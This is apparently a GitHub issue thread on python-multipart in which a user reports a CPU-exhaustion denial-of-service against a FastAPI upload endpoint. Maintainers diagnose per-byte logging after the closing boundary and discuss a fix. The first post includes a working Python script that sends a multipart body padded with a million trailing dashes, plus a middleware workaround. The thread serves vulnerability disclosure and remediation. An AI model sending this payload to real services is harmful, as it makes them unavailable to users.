Question about the package

[italojohnny]

Hi, I have some questions based on an issue I'm currently dealing with.

I’ve created a simple project using Uvicorn, FastAPI, and python-multipart, and I'm encountering the following type of attack that is causing my API to become unavailable:

import requests

url = f"http://localhost:8000/upload_files"

headers = {
    "Content-Type": "multipart/form-data; boundary=---------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ"
}

data = (
    "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\r\n"
    "Content-Disposition: form-data; name=\"file\"; filename=\"dos.txt\"\r\n"
    "Content-Type: text/plain\r\n\r\n"
    "DoS in progress\r\n"
    "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ--" + '-' * 1000000 + "\r\n"
)

response = requests.post(url, headers=headers, data=data)
print(response.status_code)
print(response.text)

This is how I’m handling the attack:

@app.middleware("http")
async def check_boundary(request: Request, call_next):
    if "/upload_files" in request.url.path:
        content_type = request.headers.get("Content-Type")

        if not content_type or "multipart/form-data" not in content_type or "boundary=" not in content_type:
            return JSONResponse(
                status_code=status.HTTP_422_UNPROCESSABLE_ENTITY,
                content={"detail": "Content-Type header must be 'multipart/form-data' with a boundary parameter."},
            )

        boundary = content_type.split("boundary=")[-1].strip()

        if not re.match(r"^[\w\-]{1,70}$", boundary):
            return JSONResponse(
                status_code=status.HTTP_422_UNPROCESSABLE_ENTITY,
                content={"detail": "Invalid boundary format"},
            )

        body = await request.body()

        boundary_start = f"--{boundary}".encode()
        boundary_end = f"--{boundary}--\r\n".encode()

        if not body.startswith(boundary_start) or not body.endswith(boundary_end):
            return JSONResponse(
                status_code=status.HTTP_422_UNPROCESSABLE_ENTITY,
                content={"detail": "Invalid multipart formatting"},
            )

    response = await call_next(request)
    return response

My question is: Does python-multipart have, or should it have, any built-in mechanisms to prevent this attack? If not, and it's expected that users handle it themselves, would my current approach be sufficient?

[Kludex]

@italojohnny Is it unavailable because of how much CPU usage? Can you try to just bump python-multipart?

The previous release should have lowered by a lot CPU usage.

[italojohnny]

Yes, the bottleneck is definitely the CPU! I updated to v0.0.12 and noticed a significant performance improvement. Congratulations!

However, even with the update, I observed that if I run the API with X workers and receive X malicious requests, new requests are still blocked until the malicious ones are processed. I still consider this a vulnerability.

[defnull]

I still consider this a vulnerability.

Why are you disclosing this publicly, then?

The performance degradation probably comes from this line: https://github.com/Kludex/python-multipart/blob/master/multipart/multipart.py#L1403

Everything after the closing boundary is junk and should be silently ignored. Logging is expensive, especially in a for-each-byte loop. There are some other logging lines that may also be problematic, if triggered by malicious input. Maybe hide logging behind a debug flag?

[Kludex]

Why are you disclosing this publicly, then?

I asked myself the same thing. 😞

Maybe hide logging behind a debug flag?

We can do that. I was wondering if we can just "skip" everything with bytes.find (to CR, LF)?

[defnull]

It's a really interesting edge case, though. I'm working on a benchmark for python multipart parsers and 5 of those 6 implementations show a significant slowdown if there is junk before or after the actual multipart stream. That seems to be a common problem. I'll wait with publishing my results until after a fix is available, but trust me, the numbers are really bad for all 5.

If I read the specs correctly, you can just stop after the closing boundary. The line break after it is optional, too. No need to look for that. Just break out of the loop and stop as soon as you find \r\n--[boundary]--, and reject or ignore any data that comes after that.

[Kludex]

I'll wait with publishing my results until after a fix is available, but trust me, the numbers are really bad for all 5.

Thanks @defnull

If I read the specs correctly, you can just stop after the closing boundary. The line break after it is optional, too. No need to look for that. Just break out of the loop and stop as soon as you find \r\n--[boundary]--, and reject or ignore any data that comes after that.

That's even better.